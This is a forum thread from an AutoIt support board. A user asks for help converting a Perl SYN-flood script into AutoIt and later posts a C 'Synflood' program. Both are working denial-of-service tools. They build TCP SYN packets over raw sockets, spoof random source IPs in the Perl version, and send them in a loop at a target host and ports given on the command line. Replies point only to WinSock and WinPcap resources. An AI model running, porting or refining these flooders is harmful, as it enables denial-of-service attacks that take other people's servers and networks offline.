Sign in to follow this  
Followers 0
Rodrigot

Perl TCP To Autoit

12 posts in this topic

Hi everybody !

I need help, to translate a script to autoit.

Language : perl to Autoit.

The code (perl) :

#!/usr/bin/perl -w
require 'getopts.pl';
 
### need to utilize raw sockets.
use Net::RawIP;
Getopts('t:p:n:');
 
### function to create random IP's.
sub randip () {
  $ip = join(".", map int rand 256, 1 .. 4);
  return("$ip");
}
 
### set up the socket.
$syn = new Net::RawIP;
 
die "Usage: $0 -t (target) -p (port) -n (number of packets)\n"
unless ($opt_t && $opt_p && $opt_n);
 
### allow the user to specify a list of comma seperated ports via the command line.
@ports = split(/\,/, $opt_p);
$list = @ports;
 
### super awesome output.
print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";
 
### start the loop
for($i = 1;$i < $opt_n;$i++) {
  ### randomly select a port out of the @ports array
  $nlist = int rand($list);
  $dport = $ports[$nlist];
 
  ### set up the packet..
  $syn->set({
      ip => {
             daddr => $opt_t,
             saddr => &randip,
            },
 
  ### specify the destination port and source port.. 
  ### make sure the syn flag is set.
      tcp => {
              dest => $dport,
              source => $dport,
              ack => 0,
              urg => 0,
              rst => 0,
              fin => 0,
              psh => 0,
              syn => 1
             }
      });
  ### send the packet! yay!
      $syn->send;
}

I've searched and i think we need to find something to forge our own packet like in this script (decide ack or no, syn or no...).

Share this post


Link to post
Share on other sites



#2 ·  Posted (edited)

Native AutoIt can't do that afaik.

You'd probably have to look into DllCall() on Ws2_32.dll. Look at the reference for the addrinfo struct: http://msdn.microsoft.com/en-us/library/ms737530(v=VS.85).aspx .

Edited by evilertoaster

Share this post


Link to post
Share on other sites

yes maybe with dll but wich dll ? Or maybe asm ?

Share this post


Link to post
Share on other sites

DllCall() on Ws2_32.dll

on Ws2_32.dll

Ws2_32.dll

Share this post


Link to post
Share on other sites

Of course i've looked and how make a packet like in the perl script ?

I've dont seen this. Maybe help ?

Share this post


Link to post
Share on other sites

Well here some misc examples that use that DLL:

http://www.autoitscript.com/forum/index.php?showtopic=74325

http://www.autoitscript.com/forum/index.php?showtopic=116386

http://www.autoitscript.com/forum/index.php?showtopic=113612

Take a look at that MSDN link above.

There's also a general WinSocks Programming guide here: http://tangentsoft.net/wskfaq/

At this point though, you're drifting out of what would typically be expected in an AutoIt support forum (because your questions are now relating to WinSocks, not AutoIt).

Share this post


Link to post
Share on other sites

Somebody could help me to make an example ?

Share this post


Link to post
Share on other sites

we cant take the rawip in perl ?

Share this post


Link to post
Share on other sites

nobody know how to do -.- ?

Share this post


Link to post
Share on other sites

You can check out this thread that can probably help you with what you are doing:

http://www.autoitscript.com/forum/index.php?showtopic=54039&hl=winpcap&st=0

Share this post


Link to post
Share on other sites

yes, i've looked it before post here but we can't do it with pcap :s

Share this post


Link to post
Share on other sites

I'm making research this night and i've find this :

/* To keep code as small as possible, I haven't included a checksum, which may
* result in some packet loss. */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s <host> <port>n", argv[0]);
printf("Synflood was written by shaun2k2 - shaunige@yahoo.co.ukn");
exit(-1);
}

int sock;
char packet[4096]; /* Datagram. */
struct sockaddr_in dest;
struct iphdr *ip = (struct iphdr *) packet;
struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr);
struct hostent *he;
if((he = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve hostname!n");
exit(-1);
}

if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
printf("Socket failed!n");
printf("Must be root to make raw socket.n");
exit(-1);
}
dest.sin_family = AF_INET;
dest.sin_port = htons(atoi(argv[2]));
dest.sin_addr = *((struct in_addr *)he->h_addr); 
memset(packet, 0, 4096); // Zero out packet.

// Fill in IP headers.
ip->ihl = 5;
ip->version = 4;
ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
ip->id = htons(1337);
ip->saddr = inet_addr("127.0.0.1");
ip->daddr = inet_ntoa(dest.sin_addr);
ip->ttl = 255;
ip->protocol = 6;
ip->check = 0;
ip->tos = 0;
ip->frag_off = 0;

// Fill in TCP headers.
tcp->source = htons(1337);
tcp->dest = htons(atoi(argv[2]));
tcp->seq = htons(random());
tcp->ack = 0;
tcp->syn = 1;
tcp->window = htons(65535);
tcp->check = 0;
tcp->doff = 5;
tcp->rst = 0;
tcp->psh = 0;
tcp->fin = 0;
tcp->urg = 0;
tcp->ack_seq = htons(0);
printf("Syn flooding: %s!n", argv[1]);
/* Insert some more fork()'s in here, if you want. */
fork();
fork();
while(1) {
sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct 
sockaddr));
}
return(0);
}

Possibility to use this file.h in autoit ? Dll use file.h of windows, so maybe we can do it ?

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0